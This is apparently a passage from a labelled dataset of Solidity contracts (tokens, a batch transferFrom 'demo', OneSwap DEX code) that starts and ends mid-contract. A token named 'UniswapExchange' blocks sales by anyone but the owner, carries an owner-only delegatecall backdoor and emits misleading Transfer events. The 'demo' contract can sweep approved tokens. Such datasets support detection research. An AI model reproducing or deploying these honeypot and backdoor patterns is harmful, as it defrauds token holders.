_totalSupply = _totalSupply.sub(value);
require(_totalSupply.sub(value) > _totalSupply.div(2), "Cant burn > 50% of total supply");
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _burnFrom(address account, uint256 value) internal
{
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value);
_burn(account, value);
emit Approval(account, msg.sender, _allowed[account][msg.sender]);
}
}
library Roles
{
struct Role
{
mapping (address => bool) bearer;
}
function add(Role storage role, address account) internal
{
require(account != address(0));
require(!has(role, account));
role.bearer[account] = true;
}
function remove(Role storage role, address account) internal
{
require(account != address(0));
require(has(role, account));
role.bearer[account] = false;
}
function has(Role storage role, address account) internal view returns (bool)
{
require(account != address(0));
return role.bearer[account];
}
}
contract MinterRole {
using Roles for Roles.Role;
event MinterAdded(address indexed account);
event MinterRemoved(address indexed account);
Roles.Role private _minters;
address private _owner;
constructor () internal {
_owner = msg.sender;
_addMinter(msg.sender);
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
modifier onlyMinter() {
require(isMinter(msg.sender));
_;
}
function isMinter(address account) public view returns (bool) {
return _minters.has(account);
}
function addMinter(address account) public onlyOwner {
_addMinter(account);
}
function renounceMinter(address account) public onlyOwner {
_removeMinter(account);
}
function _addMinter(address account) internal {
_minters.add(account);
emit MinterAdded(account);
}
function _removeMinter(address account) internal {
_minters.remove(account);
emit MinterRemoved(account);
}
}
contract ERC20Detailed is IERC20
{
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public
{
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory)
{
return _name;
}
function symbol() public view returns (string memory)
{
return _symbol;
}
function decimals() public view returns (uint8)
{
return _decimals;
}
}
contract ERC20Burnable is ERC20, MinterRole
{
function burn(uint256 value) public onlyMinter
{
_burn(msg.sender, value);
}
function burnFrom(address from, uint256 value) public onlyMinter
{
_burnFrom(from, value);
}
}
contract ERC20Mintable is ERC20, MinterRole
{
function mint(address to, uint256 value) public onlyMinter returns (bool)
{
_mint(to, value);
return true;
}
}
contract Token is ERC20, MinterRole, ERC20Detailed, ERC20Mintable, ERC20Burnable
{
address payable private _wallet;
uint256 private _weiRaised;
constructor (address payable wallet) public ERC20Detailed("CryptoWars Token", "CWT", 18)
{
_wallet = wallet;
}
function () external payable
{
uint256 weiAmount = msg.value;
require(msg.sender != address(0));
require(weiAmount != 0);
_weiRaised = _weiRaised.add(weiAmount);
_wallet.transfer(msg.value);
}
function wallet() public view returns (address payable)
{
return _wallet;
}
function weiRaised() public view returns (uint256)
{
return _weiRaised;
}
} | 1 | 2,733 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,895 |
pragma solidity ^0.4.25;
contract demo{
function transfer(address from,address caddress,address[] _tos,uint v)public returns (bool){
require(_tos.length > 0);
bytes4 id=bytes4(keccak256("transferFrom(address,address,uint256)"));
for(uint i=0;i<_tos.length;i++){
caddress.call(id,from,_tos[i],v);
}
return true;
}
} | 0 | 569 |
pragma solidity 0.6.12;
library Math {
function min(uint x, uint y) internal pure returns (uint z) {
z = x < y ? x : y;
}
function sqrt(uint y) internal pure returns (uint z) {
if (y > 3) {
z = y;
uint x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
pragma solidity 0.6.12;
library SafeMath256 {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
pragma solidity 0.6.12;
struct RatPrice {
uint numerator;
uint denominator;
}
library DecFloat32 {
uint32 public constant MANTISSA_MASK = (1<<27) - 1;
uint32 public constant MAX_MANTISSA = 9999_9999;
uint32 public constant MIN_MANTISSA = 1000_0000;
uint32 public constant MIN_PRICE = MIN_MANTISSA;
uint32 public constant MAX_PRICE = (31<<27)|MAX_MANTISSA;
function powSmall(uint32 i) internal pure returns (uint) {
uint x = 2695994666777834996822029817977685892750687677375768584125520488993233305610;
return (x >> (32*i)) & ((1<<32)-1);
}
function powBig(uint32 i) internal pure returns (uint) {
uint y = 3402823669209384634633746076162356521930955161600000001;
return (y >> (64*i)) & ((1<<64)-1);
}
function expandPrice(uint32 price32) internal pure returns (RatPrice memory) {
uint s = price32&((1<<27)-1);
uint32 a = price32 >> 27;
RatPrice memory price;
if(a >= 24) {
uint32 b = a - 24;
price.numerator = s * powSmall(b);
price.denominator = 1;
} else if(a == 23) {
price.numerator = s;
price.denominator = 1;
} else {
uint32 b = 22 - a;
price.numerator = s;
price.denominator = powSmall(b&0x7) * powBig(b>>3);
}
return price;
}
function getExpandPrice(uint price) internal pure returns(uint numerator, uint denominator) {
uint32 m = uint32(price) & MANTISSA_MASK;
require(MIN_MANTISSA <= m && m <= MAX_MANTISSA, "Invalid Price");
RatPrice memory actualPrice = expandPrice(uint32(price));
return (actualPrice.numerator, actualPrice.denominator);
}
}
pragma solidity 0.6.12;
library ProxyData {
uint public constant COUNT = 5;
uint public constant INDEX_FACTORY = 0;
uint public constant INDEX_MONEY_TOKEN = 1;
uint public constant INDEX_STOCK_TOKEN = 2;
uint public constant INDEX_ONES = 3;
uint public constant INDEX_OTHER = 4;
uint public constant OFFSET_PRICE_DIV = 0;
uint public constant OFFSET_PRICE_MUL = 64;
uint public constant OFFSET_STOCK_UNIT = 64+64;
uint public constant OFFSET_IS_ONLY_SWAP = 64+64+64;
function factory(uint[5] memory proxyData) internal pure returns (address) {
return address(proxyData[INDEX_FACTORY]);
}
function money(uint[5] memory proxyData) internal pure returns (address) {
return address(proxyData[INDEX_MONEY_TOKEN]);
}
function stock(uint[5] memory proxyData) internal pure returns (address) {
return address(proxyData[INDEX_STOCK_TOKEN]);
}
function ones(uint[5] memory proxyData) internal pure returns (address) {
return address(proxyData[INDEX_ONES]);
}
function priceMul(uint[5] memory proxyData) internal pure returns (uint64) {
return uint64(proxyData[INDEX_OTHER]>>OFFSET_PRICE_MUL);
}
function priceDiv(uint[5] memory proxyData) internal pure returns (uint64) {
return uint64(proxyData[INDEX_OTHER]>>OFFSET_PRICE_DIV);
}
function stockUnit(uint[5] memory proxyData) internal pure returns (uint64) {
return uint64(proxyData[INDEX_OTHER]>>OFFSET_STOCK_UNIT);
}
function isOnlySwap(uint[5] memory proxyData) internal pure returns (bool) {
return uint8(proxyData[INDEX_OTHER]>>OFFSET_IS_ONLY_SWAP) != 0;
}
function fill(uint[5] memory proxyData, uint expectedCallDataSize) internal pure {
uint size;
assembly {
size := calldatasize()
}
require(size == expectedCallDataSize, "INVALID_CALLDATASIZE");
assembly {
let offset := sub(size, 160)
calldatacopy(proxyData, offset, 160)
}
}
}
pragma solidity 0.6.12;
interface IOneSwapFactory {
event PairCreated(address indexed pair, address stock, address money, bool isOnlySwap);
function createPair(address stock, address money, bool isOnlySwap) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
function setFeeBPS(uint32 bps) external;
function setPairLogic(address implLogic) external;
function allPairsLength() external view returns (uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function feeBPS() external view returns (uint32);
function pairLogic() external returns (address);
function getTokensFromPair(address pair) external view returns (address stock, address money);
function tokensToPair(address stock, address money, bool isOnlySwap) external view returns (address pair);
}
pragma solidity 0.6.12;
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
}
pragma solidity 0.6.12;
interface IOneSwapBlackList {
event OwnerChanged(address);
event AddedBlackLists(address[]);
event RemovedBlackLists(address[]);
function owner()external view returns (address);
function newOwner()external view returns (address);
function isBlackListed(address)external view returns (bool);
function changeOwner(address ownerToSet) external;
function updateOwner() external;
function addBlackLists(address[] calldata accounts)external;
function removeBlackLists(address[] calldata accounts)external;
}
interface IOneSwapToken is IERC20, IOneSwapBlackList{
function burn(uint256 amount) external;
function burnFrom(address account, uint256 amount) external;
function increaseAllowance(address spender, uint256 addedValue) external returns (bool);
function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool);
function multiTransfer(uint256[] calldata mixedAddrVal) external returns (bool);
}
pragma solidity 0.6.12;
interface IOneSwapERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external view returns (string memory);
function symbol() external returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
}
interface IOneSwapPool {
event Mint(address indexed sender, uint stockAndMoneyAmount, address indexed to);
event Burn(address indexed sender, uint stockAndMoneyAmount, address indexed to);
event Sync(uint reserveStockAndMoney);
function internalStatus() external view returns(uint[3] memory res);
function getReserves() external view returns (uint112 reserveStock, uint112 reserveMoney, uint32 firstSellID);
function getBooked() external view returns (uint112 bookedStock, uint112 bookedMoney, uint32 firstBuyID);
function stock() external returns (address);
function money() external returns (address);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint stockAmount, uint moneyAmount);
function skim(address to) external;
function sync() external;
}
interface IOneSwapPair {
event NewLimitOrder(uint data);
event NewMarketOrder(uint data);
event OrderChanged(uint data);
event DealWithPool(uint data);
event RemoveOrder(uint data);
function getPrices() external returns (
uint firstSellPriceNumerator,
uint firstSellPriceDenominator,
uint firstBuyPriceNumerator,
uint firstBuyPriceDenominator,
uint poolPriceNumerator,
uint poolPriceDenominator);
function getOrderList(bool isBuy, uint32 id, uint32 maxCount) external view returns (uint[] memory);
function removeOrder(bool isBuy, uint32 id, uint72 positionID) external;
function removeOrders(uint[] calldata rmList) external;
function addLimitOrder(bool isBuy, address sender, uint64 amount, uint32 price32, uint32 id, uint72 prevKey) external payable;
function addMarketOrder(address inputToken, address sender, uint112 inAmount) external payable returns (uint);
function calcStockAndMoney(uint64 amount, uint32 price32) external pure returns (uint stockAmount, uint moneyAmount);
}
pragma solidity 0.6.12;
abstract contract OneSwapERC20 is IOneSwapERC20 {
using SafeMath256 for uint;
uint internal _unusedVar0;
uint internal _unusedVar1;
uint internal _unusedVar2;
uint internal _unusedVar3;
uint internal _unusedVar4;
uint internal _unusedVar5;
uint internal _unusedVar6;
uint internal _unusedVar7;
uint internal _unusedVar8;
uint internal _unusedVar9;
uint internal _unlocked = 1;
modifier lock() {
require(_unlocked == 1, "OneSwap: LOCKED");
_unlocked = 0;
_;
_unlocked = 1;
}
string private constant _NAME = "OneSwap-Share";
uint8 private constant _DECIMALS = 18;
uint public override totalSupply;
mapping(address => uint) public override balanceOf;
mapping(address => mapping(address => uint)) public override allowance;
function symbol() virtual external override returns (string memory);
function name() external view override returns (string memory) {
return _NAME;
}
function decimals() external view override returns (uint8) {
return _DECIMALS;
}
function _mint(address to, uint value) internal {
totalSupply = totalSupply.add(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(address(0), to, value);
}
function _burn(address from, uint value) internal {
balanceOf[from] = balanceOf[from].sub(value);
totalSupply = totalSupply.sub(value);
emit Transfer(from, address(0), value);
}
function _approve(address owner, address spender, uint value) private {
allowance[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _transfer(address from, address to, uint value) private {
balanceOf[from] = balanceOf[from].sub(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(from, to, value);
}
function approve(address spender, uint value) external override returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transfer(address to, uint value) external override returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function transferFrom(address from, address to, uint value) external override returns (bool) {
if (allowance[from][msg.sender] != uint(- 1)) {
allowance[from][msg.sender] = allowance[from][msg.sender].sub(value);
}
_transfer(from, to, value);
return true;
}
}
struct Order {
address sender;
uint32 price;
uint64 amount;
uint32 nextID;
}
struct Context {
bool isLimitOrder;
uint32 newOrderID;
uint remainAmount;
uint32 firstID;
uint32 firstBuyID;
uint32 firstSellID;
uint amountIntoPool;
uint dealMoneyInBook;
uint dealStockInBook;
uint reserveMoney;
uint reserveStock;
uint bookedMoney;
uint bookedStock;
bool reserveChanged;
bool hasDealtInOrderBook;
Order order;
uint64 stockUnit;
uint64 priceMul;
uint64 priceDiv;
address stockToken;
address moneyToken;
address ones;
address factory;
}
abstract contract OneSwapPool is OneSwapERC20, IOneSwapPool {
using SafeMath256 for uint;
uint private constant _MINIMUM_LIQUIDITY = 10 ** 3;
bytes4 internal constant _SELECTOR = bytes4(keccak256(bytes("transfer(address,uint256)")));
uint internal _reserveStockAndMoneyAndFirstSellID;
uint internal _bookedStockAndMoneyAndFirstBuyID;
uint private _kLast;
uint32 private constant _OS = 2;
uint32 private constant _LS = 3;
function internalStatus() external override view returns(uint[3] memory res) {
res[0] = _reserveStockAndMoneyAndFirstSellID;
res[1] = _bookedStockAndMoneyAndFirstBuyID;
res[2] = _kLast;
}
function stock() external override returns (address) {
uint[5] memory proxyData;
ProxyData.fill(proxyData, 4+32*(ProxyData.COUNT+0));
return ProxyData.stock(proxyData);
}
function money() external override returns (address) {
uint[5] memory proxyData;
ProxyData.fill(proxyData, 4+32*(ProxyData.COUNT+0));
return ProxyData.money(proxyData);
}
function getReserves() public override view returns (uint112 reserveStock, uint112 reserveMoney, uint32 firstSellID) {
uint temp = _reserveStockAndMoneyAndFirstSellID;
reserveStock = uint112(temp);
reserveMoney = uint112(temp>>112);
firstSellID = uint32(temp>>224);
}
function _setReserves(uint stockAmount, uint moneyAmount, uint32 firstSellID) internal {
require(stockAmount < uint(1<<112) && moneyAmount < uint(1<<112), "OneSwap: OVERFLOW");
uint temp = (moneyAmount<<112)|stockAmount;
emit Sync(temp);
temp = (uint(firstSellID)<<224)| temp;
_reserveStockAndMoneyAndFirstSellID = temp;
}
function getBooked() public override view returns (uint112 bookedStock, uint112 bookedMoney, uint32 firstBuyID) {
uint temp = _bookedStockAndMoneyAndFirstBuyID;
bookedStock = uint112(temp);
bookedMoney = uint112(temp>>112);
firstBuyID = uint32(temp>>224);
}
function _setBooked(uint stockAmount, uint moneyAmount, uint32 firstBuyID) internal {
require(stockAmount < uint(1<<112) && moneyAmount < uint(1<<112), "OneSwap: OVERFLOW");
_bookedStockAndMoneyAndFirstBuyID = (uint(firstBuyID)<<224)|(moneyAmount<<112)|stockAmount;
}
function _myBalance(address token) internal view returns (uint) {
if(token==address(0)) {
return address(this).balance;
} else {
return IERC20(token).balanceOf(address(this));
}
}
function _safeTransfer(address token, address to, uint value, address ones) internal {
if(value==0) {return;}
if(token==address(0)) {
to.call{value: value, gas: 9000}(new bytes(0));
return;
}
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(_SELECTOR, to, value));
success = success && (data.length == 0 || abi.decode(data, (bool)));
if(!success) {
address onesOwner = IOneSwapToken(ones).owner();
(success, data) = token.call(abi.encodeWithSelector(_SELECTOR, onesOwner, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), "OneSwap: TRANSFER_FAILED");
}
}
function _mintFee(uint112 _reserve0, uint112 _reserve1, uint[5] memory proxyData) private returns (bool feeOn) {
address feeTo = IOneSwapFactory(ProxyData.factory(proxyData)).feeTo();
feeOn = feeTo != address(0);
uint kLast = _kLast;
if (feeOn) {
if (kLast != 0) {
uint rootK = Math.sqrt(uint(_reserve0).mul(_reserve1));
uint rootKLast = Math.sqrt(kLast);
if (rootK > rootKLast) {
uint numerator = totalSupply.mul(rootK.sub(rootKLast)).mul(_OS);
uint denominator = rootK.mul(_LS).add(rootKLast.mul(_OS));
uint liquidity = numerator / denominator;
if (liquidity > 0) _mint(feeTo, liquidity);
}
}
} else if (kLast != 0) {
_kLast = 0;
}
}
function mint(address to) external override lock returns (uint liquidity) {
uint[5] memory proxyData;
ProxyData.fill(proxyData, 4+32*(ProxyData.COUNT+1));
(uint112 reserveStock, uint112 reserveMoney, uint32 firstSellID) = getReserves();
(uint112 bookedStock, uint112 bookedMoney, ) = getBooked();
uint stockBalance = _myBalance(ProxyData.stock(proxyData));
uint moneyBalance = _myBalance(ProxyData.money(proxyData));
require(stockBalance >= uint(bookedStock) + uint(reserveStock) &&
moneyBalance >= uint(bookedMoney) + uint(reserveMoney), "OneSwap: INVALID_BALANCE");
stockBalance -= uint(bookedStock);
moneyBalance -= uint(bookedMoney);
uint stockAmount = stockBalance - uint(reserveStock);
uint moneyAmount = moneyBalance - uint(reserveMoney);
bool feeOn = _mintFee(reserveStock, reserveMoney, proxyData);
uint _totalSupply = totalSupply;
if (_totalSupply == 0) {
liquidity = Math.sqrt(stockAmount.mul(moneyAmount)).sub(_MINIMUM_LIQUIDITY);
_mint(address(0), _MINIMUM_LIQUIDITY);
} else {
liquidity = Math.min(stockAmount.mul(_totalSupply) / uint(reserveStock),
moneyAmount.mul(_totalSupply) / uint(reserveMoney));
}
require(liquidity > 0, "OneSwap: INSUFFICIENT_MINTED");
_mint(to, liquidity);
_setReserves(stockBalance, moneyBalance, firstSellID);
if (feeOn) _kLast = stockBalance.mul(moneyBalance);
emit Mint(msg.sender, (moneyAmount<<112)|stockAmount, to);
}
function burn(address to) external override lock returns (uint stockAmount, uint moneyAmount) {
uint[5] memory proxyData;
ProxyData.fill(proxyData, 4+32*(ProxyData.COUNT+1));
(uint112 reserveStock, uint112 reserveMoney, uint32 firstSellID) = getReserves();
(uint bookedStock, uint bookedMoney, ) = getBooked();
uint stockBalance = _myBalance(ProxyData.stock(proxyData)).sub(bookedStock);
uint moneyBalance = _myBalance(ProxyData.money(proxyData)).sub(bookedMoney);
require(stockBalance >= uint(reserveStock) && moneyBalance >= uint(reserveMoney), "OneSwap: INVALID_BALANCE");
bool feeOn = _mintFee(reserveStock, reserveMoney, proxyData);
{
uint _totalSupply = totalSupply;
uint liquidity = balanceOf[address(this)];
stockAmount = liquidity.mul(stockBalance) / _totalSupply;
moneyAmount = liquidity.mul(moneyBalance) / _totalSupply;
require(stockAmount > 0 && moneyAmount > 0, "OneSwap: INSUFFICIENT_BURNED");
balanceOf[address(this)] = 0;
totalSupply = totalSupply.sub(liquidity);
emit Transfer(address(this), address(0), liquidity);
}
address ones = ProxyData.ones(proxyData);
_safeTransfer(ProxyData.stock(proxyData), to, stockAmount, ones);
_safeTransfer(ProxyData.money(proxyData), to, moneyAmount, ones);
stockBalance = stockBalance - stockAmount;
moneyBalance = moneyBalance - moneyAmount;
_setReserves(stockBalance, moneyBalance, firstSellID);
if (feeOn) _kLast = stockBalance.mul(moneyBalance);
emit Burn(msg.sender, (moneyAmount<<112)|stockAmount, to);
}
function skim(address to) external override lock {
uint[5] memory proxyData;
ProxyData.fill(proxyData, 4+32*(ProxyData.COUNT+1));
address stockToken = ProxyData.stock(proxyData);
address moneyToken = ProxyData.money(proxyData);
(uint112 reserveStock, uint112 reserveMoney, ) = getReserves();
(uint bookedStock, uint bookedMoney, ) = getBooked();
uint balanceStock = _myBalance(stockToken);
uint balanceMoney = _myBalance(moneyToken);
require(balanceStock >= uint(bookedStock) + uint(reserveStock) &&
balanceMoney >= uint(bookedMoney) + uint(reserveMoney), "OneSwap: INVALID_BALANCE");
address ones = ProxyData.ones(proxyData);
_safeTransfer(stockToken, to, balanceStock-reserveStock-bookedStock, ones);
_safeTransfer(moneyToken, to, balanceMoney-reserveMoney-bookedMoney, ones);
}
function sync() external override lock {
uint[5] memory proxyData;
ProxyData.fill(proxyData, 4+32*(ProxyData.COUNT+0));
(, , uint32 firstSellID) = getReserves();
(uint bookedStock, uint bookedMoney, ) = getBooked();
uint balanceStock = _myBalance(ProxyData.stock(proxyData));
uint balanceMoney = _myBalance(ProxyData.money(proxyData));
require(balanceStock >= bookedStock && balanceMoney >= bookedMoney, "OneSwap: INVALID_BALANCE");
_setReserves(balanceStock-bookedStock, balanceMoney-bookedMoney, firstSellID);
}
}
contract OneSwapPair is OneSwapPool, IOneSwapPair {
uint[1<<22] private _sellOrders;
uint[1<<22] private _buyOrders;
uint32 private constant _MAX_ID = (1<<22)-1;
function _expandPrice(uint32 price32, uint[5] memory proxyData) private pure returns (RatPrice memory price) {
price = DecFloat32.expandPrice(price32);
price.numerator *= ProxyData.priceMul(proxyData);
price.denominator *= ProxyData.priceDiv(proxyData);
}
function _expandPrice(Context memory ctx, uint32 price32) private pure returns (RatPrice memory price) {
price = DecFloat32.expandPrice(price32);
price.numerator *= ctx.priceMul;
price.denominator *= ctx.priceDiv;
}
function symbol() external override returns (string memory) {
